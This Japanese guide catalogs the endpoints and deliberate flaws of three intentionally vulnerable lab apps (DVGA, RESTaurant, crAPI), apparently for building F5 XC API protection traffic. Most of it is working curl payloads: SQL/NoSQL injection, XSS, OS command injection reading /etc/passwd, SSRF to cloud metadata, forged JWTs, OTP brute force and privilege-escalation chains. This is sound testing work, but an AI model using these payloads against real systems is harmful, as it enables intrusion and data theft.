コンテンツにスキップ

APIテストガイド

このガイドでは、3つの API セキュリティテストアプリケーションにわたるすべての API エンドポイント、意図的な脆弱性、および攻撃ペイロードを体系的にまとめています。F5 XC API 保護プロファイル開発向けのトラフィック生成パターンの構築にご活用ください。

アプリケーションプロトコルパスポート認証脆弱性
DVGAGraphQL/dvga/80なし (admin: admin/password)25 シナリオ
RESTaurantREST (FastAPI)/restaurant/80JWT (フォームエンコード)OWASP API 2023 カテゴリ 7 件
crAPIREST (マイクロサービス)/8888JWT (Bearer)18 件以上のチャレンジ
Terminal window
ORIGIN="http://<ORIGIN_IP>"
CRAPI="http://<ORIGIN_IP>:8888"

DVGA (Damn Vulnerable GraphQL Application)

Section titled “DVGA (Damn Vulnerable GraphQL Application)”

GraphQL エンドポイント: POST ${ORIGIN}/dvga/graphql GraphiQL IDE: GET ${ORIGIN}/dvga/ 管理者認証情報: admin / password

すべての DVGA の操作は、JSON {"query":"..."} ペイロードを含む POST リクエストによって単一エンドポイント (/dvga/graphql) を使用します。

Queries: pastes, paste, me, systemHealth, systemUpdate, systemDiagnostics
Mutations: createPaste, importPaste, uploadPaste
Types: PasteObject (id, title, content, public, owner, ipAddr, userAgent)
OwnerObject (id, username, pastes) ← 循環参照
オペレーションタイプ認証目的
pastes(public, filter, limit)Queryなしペースト一覧取得 (filter 経由の SQL インジェクション)
paste(id)Queryなし単一ペーストの取得
me(token)QueryなしJWT によるユーザー取得 (偽造に脆弱)
systemHealthQueryなしヘルスチェック
systemUpdateQueryなし低速クエリ (約 82 秒、DoS ベクター)
systemDiagnostics(cmd)Queryadmin/passwordホワイトリスト登録済み OS コマンドの実行
createPaste(title, content, public)Mutationなしペーストの作成 (content 経由の XSS)
importPaste(host, port, path, scheme)Mutationなしリモートペーストのインポート (SSRF、コマンドインジェクション)
uploadPaste(filename, content)Mutationなしペーストのアップロード (パストラバーサル)

1. サービス妨害 (DoS) (6 シナリオ)

Section titled “1. サービス妨害 (DoS) (6 シナリオ)”

バッチクエリ攻撃:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'

深い再帰 (Owner/Paste の循環参照):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'

リソース集約型クエリ (約 82 秒のレスポンス):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemUpdate}"}'

フィールド重複 (フィールドを 500 回以上繰り返す):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'

エイリアスベースの攻撃 (1000 個のエイリアス付きオペレーション):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'

イントロスペクション (スキーマの完全な列挙):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'

フィールドサジェスチョン (タイポが有効なフィールドを漏洩):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{titl}}"}'

importPaste 経由の SSRF (内部サービスの探索):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'

3. インジェクション (4 シナリオ)

Section titled “3. インジェクション (4 シナリオ)”

filter パラメーター経由の SQL インジェクション:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'

createPaste 経由の Stored XSS:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'

ログインジェクション (オペレーション名のスプーフィング):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'

importPaste 経由の OS コマンドインジェクション:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'

systemDiagnostics 経由の OS コマンド (管理者認証が必要):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'

JWT トークン偽造 (署名なしトークンを受け入れる):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'

uploadPaste 経由の任意ファイル書き込み (パストラバーサル):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'

RESTaurant API (Damn Vulnerable RESTaurant)

Section titled “RESTaurant API (Damn Vulnerable RESTaurant)”

Swagger UI: ${ORIGIN}/restaurant/docs OpenAPI 仕様: ${ORIGIN}/restaurant/openapi.json 認証: /restaurant/token へのフォームエンコード POST 経由の JWT ロール: Customer (デフォルト)、Employee、Chef (管理者)

セットアップ: ユーザー登録と認証

Section titled “セットアップ: ユーザー登録と認証”
Terminal window
# テストユーザーの登録
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# JWT トークンの取得 (注意: JSON ではなくフォームエンコード形式)
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: ${TOKEN}"
エンドポイントメソッド認証ロール脆弱性
/restaurant/registerPOSTなしユーザー作成
/restaurant/tokenPOSTなし弱い秘密鍵の JWT (97952)
/restaurant/healthcheckGETなしヘルスチェック
/restaurant/profileGETあり任意ユーザープロファイル
/restaurant/profilePUTあり任意BOLA (他ユーザーの変更)
/restaurant/profilePATCHあり任意BOPLA (ロールのマスアサイン)
/restaurant/users/update_rolePUTあり任意BFLA (ロール昇格)
/restaurant/menuGETあり任意メニュー項目の一覧取得
/restaurant/menuPUTありEmployee 以上メニューの作成 (画像経由の SSRF)
/restaurant/menu/{item_id}PUTありEmployee 以上メニューの更新 (画像経由の SSRF)
/restaurant/menu/{item_id}DELETEあり任意BFLA (任意ユーザーが削除可能)
/restaurant/ordersGETあり任意BOLA (全注文の閲覧)
/restaurant/ordersPOSTあり任意注文の作成
/restaurant/orders/{order_id}GETあり任意BOLA (他ユーザーの注文へのアクセス)
/restaurant/orders/status/{order_id}GETあり任意注文ステータス
/restaurant/admin/stats/diskGETありChefコマンドインジェクション
/restaurant/reset-passwordPOSTなしパスワードリセットリクエスト
/restaurant/reset-password/new-passwordPOSTなし新しいパスワードの設定
/restaurant/referral-codeGETあり任意紹介コードの取得
/restaurant/apply-referralPOSTあり任意紹介コードの適用
/restaurant/discount-couponsGETあり任意クーポンの一覧取得

API1:2023 — Broken Object Level Authorization (BOLA)

Section titled “API1:2023 — Broken Object Level Authorization (BOLA)”

他ユーザーのプロファイルを変更:

Terminal window
curl -X PUT ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'

他ユーザーの注文へのアクセス (オフセットの列挙):

Terminal window
for i in 1 2 3 4 5; do
curl -sf ${ORIGIN}/restaurant/orders/${i} \
-H "Authorization: Bearer ${TOKEN}" 2>&1
echo ""
done

JWT 弱い秘密鍵のブルートフォース (秘密鍵は 6 桁: 97952):

Terminal window
# jwt.io でトークンのデコードおよび偽造
# 秘密鍵: 97952 (hashcat -a 3 -m 16500 token '?d?d?d?d?d?d' でブルートフォース可能)
# Chef トークンの偽造:
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"sub":"chef","exp":9999999999}
# 秘密鍵でサイン: 97952

API3:2023 — Broken Object Property Level Authorization (BOPLA)

Section titled “API3:2023 — Broken Object Property Level Authorization (BOPLA)”

Customer から Chef へのロールのマスアサイン:

Terminal window
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

昇格パス: Customer → Employee → Chef:

Terminal window
# ステップ 1: Employee に昇格
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Employee"}'
# ステップ 2: Chef に昇格
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

API5:2023 — Broken Function Level Authorization (BFLA)

Section titled “API5:2023 — Broken Function Level Authorization (BFLA)”

Customer としてメニュー項目を削除 (Employee 以上が必要なはず):

Terminal window
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \
-H "Authorization: Bearer ${TOKEN}"

他ユーザーのロールを変更:

Terminal window
curl -X PUT ${ORIGIN}/restaurant/users/update_role \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","role":"Customer"}'

API7:2023 — Server-Side Request Forgery (SSRF)

Section titled “API7:2023 — Server-Side Request Forgery (SSRF)”

メニューの image_url 経由で内部エンドポイントを探索 (Employee ロールが必要):

Terminal window
# まず BOPLA で Employee に昇格してから:
curl -X PUT ${ORIGIN}/restaurant/menu \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'

ディスク統計経由の OS コマンドインジェクション (Chef ロールが必要):

Terminal window
# Chef に昇格後:
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \
-H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \
-H "Authorization: Bearer ${TOKEN}"

完全な攻撃チェーン: Customer から Root へ

Section titled “完全な攻撃チェーン: Customer から Root へ”
Terminal window
# 1. 登録
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. トークン取得
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. Chef に昇格 (BOPLA)
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'
# 4. Chef レベルのトークンを取得するために再認証
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. コマンドインジェクション (RCE)
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \
-H "Authorization: Bearer ${TOKEN}"

Web UI: ${CRAPI}/ MailHog: ${CRAPI}/mailhog/ (確認メールのキャプチャ) 認証: JWT Bearer トークン (RS256、アルゴリズム混乱攻撃に脆弱) アーキテクチャ: 7 つのマイクロサービス (identity、community、workshop、postgres、mongo、mailhog、web)

セットアップ: 登録、メール確認、ログイン

Section titled “セットアップ: 登録、メール確認、ログイン”
Terminal window
# 1. 登録
curl -X POST ${CRAPI}/identity/api/auth/signup \
-H "Content-Type: application/json" \
-d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. 確認メールを MailHog で確認
# ${CRAPI}/mailhog/ にアクセスするか、MailHog API を使用:
curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "
import sys,json
msgs = json.load(sys.stdin)['items']
for m in msgs:
print(f\"To: {m['Raw']['To'][0]}, Subject: {m['Content']['Headers']['Subject'][0]}\")
"
# 3. ログインして JWT トークンを取得
TOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Bearer token: ${TOKEN}"
エンドポイントメソッド認証脆弱性
/identity/api/auth/signupPOSTなしユーザー登録
/identity/api/auth/loginPOSTなしJWT トークン (アルゴリズム混乱攻撃)
/identity/api/auth/forget-passwordPOSTなしOTP リクエスト
/identity/api/auth/v2/check-otpPOSTなしレート制限なし (4 桁 OTP のブルートフォース)
/identity/api/auth/v3/check-otpPOSTなしレート制限あり版
/identity/api/v2/user/dashboardGETありユーザープロファイル
/identity/api/v2/user/change-emailPUTありメールアドレス変更
/identity/api/v2/vehicle/vehiclesGETあり車両一覧 (UUID の漏洩)
/identity/api/v2/vehicle/{uuid}/locationGETありBOLA (任意ユーザーの車両)
/identity/api/v2/user/videosPOSTあり動画のアップロード
/identity/api/v2/user/videos/{id}GETありデータ漏洩 (conversion_params)
/identity/api/v2/user/videos/{id}PUTありマスアサイン (コマンドインジェクション)
/identity/api/v2/admin/videos/{id}DELETEありBFLA (管理者チェックなし)
エンドポイントメソッド認証脆弱性
/community/api/v2/community/postsGETありデータ漏洩 (vehicle_id、メールアドレスの漏洩)
/community/api/v2/community/postsPOSTありブログ投稿の作成
/community/api/v2/community/posts/{id}/commentsPOSTありコメントの追加
/community/api/v2/coupon/validate-couponPOSTありNoSQL インジェクション
エンドポイントメソッド認証脆弱性
/workshop/api/mechanicGETありデータ漏洩 (整備士のメールアドレス)
/workshop/api/mechanic/mechanic_reportGETなしBOLA (認証なし、連番 ID)
/workshop/api/merchant/contact_mechanicPOSTありSSRF + DoS
/workshop/api/shop/productsGETあり商品カタログ
/workshop/api/shop/orders/POSTあり注文の作成
/workshop/api/shop/orders/allGETあり注文一覧
/workshop/api/shop/orders/{id}GETなしBOLA (認証不要)
/workshop/api/shop/orders/{id}PUTありマスアサイン (status、quantity)
/workshop/api/shop/apply_couponPOSTありSQL インジェクション

チャレンジ 1 — BOLA: 他ユーザーの車両位置情報へのアクセス

Section titled “チャレンジ 1 — BOLA: 他ユーザーの車両位置情報へのアクセス”
Terminal window
# まず自分の車両 UUID を取得
curl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \
-H "Authorization: Bearer ${TOKEN}"
# 他ユーザーの車両にアクセス (UUID を置き換え)
curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \
-H "Authorization: Bearer ${TOKEN}"

チャレンジ 2 — BOLA: 整備士レポートへのアクセス (認証なし)

Section titled “チャレンジ 2 — BOLA: 整備士レポートへのアクセス (認証なし)”
Terminal window
# 連番 ID の列挙 — トークン不要
for i in 1 2 3 4 5; do
echo "Report $i:"
curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}"
echo ""
done

チャレンジ 3 — Broken Auth: パスワードリセット OTP のブルートフォース

Section titled “チャレンジ 3 — Broken Auth: パスワードリセット OTP のブルートフォース”
Terminal window
# 被害者の OTP をリクエスト
curl -X POST ${CRAPI}/identity/api/auth/forget-password \
-H "Content-Type: application/json" \
-d '{"email":"victim@example.com"}'
# 4 桁の OTP をブルートフォース (v2 はレート制限なし)
for otp in $(seq -w 0000 9999); do
RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \
-H "Content-Type: application/json" \
-d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1)
echo "$otp: $RESULT" | grep -v "Invalid OTP" && break
done

チャレンジ 4 — データ漏洩: 整備士のメールアドレスの流出

Section titled “チャレンジ 4 — データ漏洩: 整備士のメールアドレスの流出”
Terminal window
curl -sf ${CRAPI}/workshop/api/mechanic \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool

チャレンジ 5 — データ漏洩: 内部動画変換パラメーターの流出

Section titled “チャレンジ 5 — データ漏洩: 内部動画変換パラメーターの流出”
Terminal window
# 動画をアップロードしてレスポンスを確認
curl -sf ${CRAPI}/identity/api/v2/user/videos \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool
# レスポンス内の conversion_params フィールドを確認

チャレンジ 6 — DoS: Contact Mechanic 経由のレイヤー 7 攻撃

Section titled “チャレンジ 6 — DoS: Contact Mechanic 経由のレイヤー 7 攻撃”
Terminal window
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"Engine issue",
"vin":"VEHICLE_VIN",
"mechanic_api":"http://localhost:8080/api",
"repeat_request_if_failed":true,
"number_of_repeats":100
}'

チャレンジ 7 — BFLA: 管理者エンドポイント経由の動画削除

Section titled “チャレンジ 7 — BFLA: 管理者エンドポイント経由の動画削除”
Terminal window
# 一般ユーザーが管理者エンドポイントにアクセス可能
curl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \
-H "Authorization: Bearer ${TOKEN}"

チャレンジ 8 & 9 — マスアサイン: 注文操作による無料アイテムの取得

Section titled “チャレンジ 8 & 9 — マスアサイン: 注文操作による無料アイテムの取得”
Terminal window
# GET を PUT に変更し、status と quantity を変更
curl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"status":"returned","quantity":100}'

チャレンジ 10 — 動画変換パラメーター経由のコマンドインジェクション

Section titled “チャレンジ 10 — 動画変換パラメーター経由のコマンドインジェクション”
Terminal window
curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'

チャレンジ 11 — Contact Mechanic 経由の SSRF

Section titled “チャレンジ 11 — Contact Mechanic 経由の SSRF”
Terminal window
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"test",
"vin":"VIN123",
"mechanic_api":"http://169.254.169.254/latest/meta-data/",
"repeat_request_if_failed":false,
"number_of_repeats":0
}'

チャレンジ 12 — NoSQL インジェクション: クーポンコードの抽出

Section titled “チャレンジ 12 — NoSQL インジェクション: クーポンコードの抽出”
Terminal window
curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"coupon_code":{"$ne":1}}'

チャレンジ 13 — SQL インジェクション: クーポンの複数回使用

Section titled “チャレンジ 13 — SQL インジェクション: クーポンの複数回使用”
Terminal window
curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"

チャレンジ 14 — 認証なしでの注文アクセス

Section titled “チャレンジ 14 — 認証なしでの注文アクセス”
Terminal window
# Authorization ヘッダーなし — それでもデータが返される
for i in 1 2 3 4 5; do
curl -sf ${CRAPI}/workshop/api/shop/orders/${i}
echo ""
done

チャレンジ 15 — JWT アルゴリズム混乱攻撃

Section titled “チャレンジ 15 — JWT アルゴリズム混乱攻撃”
Terminal window
# アルゴリズム "none" で JWT を偽造 (署名検証なし):
# 1. ヘッダーを {"alg":"none","typ":"JWT"} に設定し、base64url エンコード
# 2. ペイロードを {"email":"admin@example.com","role":"admin"} に設定し、base64url エンコード
# 3. ドットで結合し、署名を空にする: <header>.<payload>.
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \
-H "Authorization: Bearer ${FORGED}"

OWASP API セキュリティ Top 10 クロスリファレンス

Section titled “OWASP API セキュリティ Top 10 クロスリファレンス”
OWASP カテゴリDVGARESTaurantcrAPI
API1: BOLAPUT /profileGET /orders/{id}車両位置情報、整備士レポート、注文
API2: Broken AuthJWT 偽造 (me クエリ)JWT 弱い秘密鍵 (97952)OTP ブルートフォース (v2)、JWT アルゴリズム混乱攻撃
API3: BOPLAPATCH /profile (ロール昇格)動画 conversion_params、整備士メールアドレスの漏洩
API4: リソース消費バッチ、再帰、エイリアス、フィールド重複による DoSレスポンス長によるユーザー列挙contact_mechanic の repeat_request DoS
API5: BFLADELETE /menuPUT /users/update_role一般ユーザーによる DELETE /admin/videos
API6: マスアサインPUT /orders (status、quantity)注文 status/quantity、動画 conversion_params
API7: SSRFimportPaste ミューテーションPUT /menu の image_urlcontact_mechanic の mechanic_api URL
API8: インジェクションSQL (filter)、XSS (content)、OS コマンド (importPastesystemDiagnostics)OS コマンド (/admin/stats/disk?parameters=)NoSQL (validate-coupon)、SQL (apply_coupon)
API9: 不適切な資産管理非推奨の /auth/v2/check-otp (レート制限なし)
API10: 安全でない消費(SSRF 経由で間接的に)
GraphQL 固有イントロスペクション、バッチ処理、再帰、エイリアス、フィールド重複、循環フラグメント

フェーズ 1: ベースライン (正常系)

Section titled “フェーズ 1: ベースライン (正常系)”

攻撃パターンのテストを開始する前に、通常の API 動作を確立するために正当なトラフィックを生成します。

DVGA ベースライン:

Terminal window
# 通常クエリ
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'

RESTaurant ベースライン:

Terminal window
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"
curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"
curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'

crAPI ベースライン:

Terminal window
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"

フェーズ 2: OWASP カテゴリ別の攻撃トラフィック

Section titled “フェーズ 2: OWASP カテゴリ別の攻撃トラフィック”

BOLA テスト: 連番 ID の列挙、リクエスト内のユーザー識別子の入れ替え、所有権なしでのリソースアクセス。

インジェクションテスト: filter/coupon パラメーターへの SQL ペイロード、GraphQL クエリインジェクション、パラメーターフィールド経由の OS コマンドインジェクション。

認証バイパステスト: JWT トークンの偽造、OTP のブルートフォース、非推奨 API バージョンの使用、アルゴリズム混乱攻撃。

SSRF テスト: importPasteimage_urlmechanic_api パラメーターへの内部 URL の挿入。

DoS テスト: GraphQL のバッチ/再帰/エイリアス攻撃、高カウントの repeat_request_if_failed

フェーズ 3: ステートフルな攻撃チェーン

Section titled “フェーズ 3: ステートフルな攻撃チェーン”

一部の攻撃は、状態を伴う複数ステップのシーケンスを必要とします。

  1. RESTaurant 昇格チェーン: 登録 → トークン取得 → PATCH でロールを Chef に変更 → 再認証 → コマンドインジェクション
  2. crAPI フルフロー: サインアップ → メール確認 (MailHog) → ログイン → 車両の追加 → 整備士への連絡 (SSRF) → 注文操作
  3. DVGA 偵察から攻撃へ: イントロスペクション → systemDiagnostics の発見 → 管理者認証情報のブルートフォース → OS コマンドの実行
パターンリクエスト数/秒継続時間備考
ベースライン (アプリごと)10〜505 分通常トラフィックのフィンガープリントを確立
BOLA 列挙100〜5002 分連番 ID スキャン
OTP ブルートフォース1000 以上発見まで最大 10,000 回の試行 (4 桁)
GraphQL DoS10〜5030 秒各リクエストはサーバー側で高コスト
インジェクションファジング50〜2005 分リクエストごとにペイロードを変更
SSRF プロービング5〜202 分低速;各リクエストがサーバー側 HTTP リクエストを発生させる